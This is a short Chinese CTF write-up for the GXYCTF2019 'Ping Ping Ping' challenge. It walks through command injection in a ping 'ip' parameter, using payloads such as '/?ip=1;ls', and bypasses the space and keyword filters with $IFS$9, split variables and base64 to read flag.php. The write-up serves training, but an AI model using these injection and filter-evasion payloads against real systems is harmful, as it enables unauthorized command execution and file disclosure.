[GXYCTF2019]Ping Ping Ping

发布时间 2023-10-31 17:40:03作者: imtaieee

访问题目后存在提示。
image.png
随后输入:/?ip=1;ls 即可看到当前目录下存在 flag.php 文件。
image.png
这里尝试使用 Payload/?ip=1;cat flag.php 得到如下。
image.png
这里尝试使用:${IFS}{IFS}$9$IFS$9 来绕过空格过滤,发现程序也检测了 {} 符号,因此使用 $IFS$9 来代替空格,题目反馈如下。
image.png
因此使用变量来表示 flag,即:/?ip=1;b=ag.php;a=fl;cat$IFS$9$a$b,发现没有被拦截,但没有输出 flag,尝试使用 base64 命令替换 cat/?ip=1;b=ag.php;a=fl;base64$IFS$9$a$b,最终得到 flag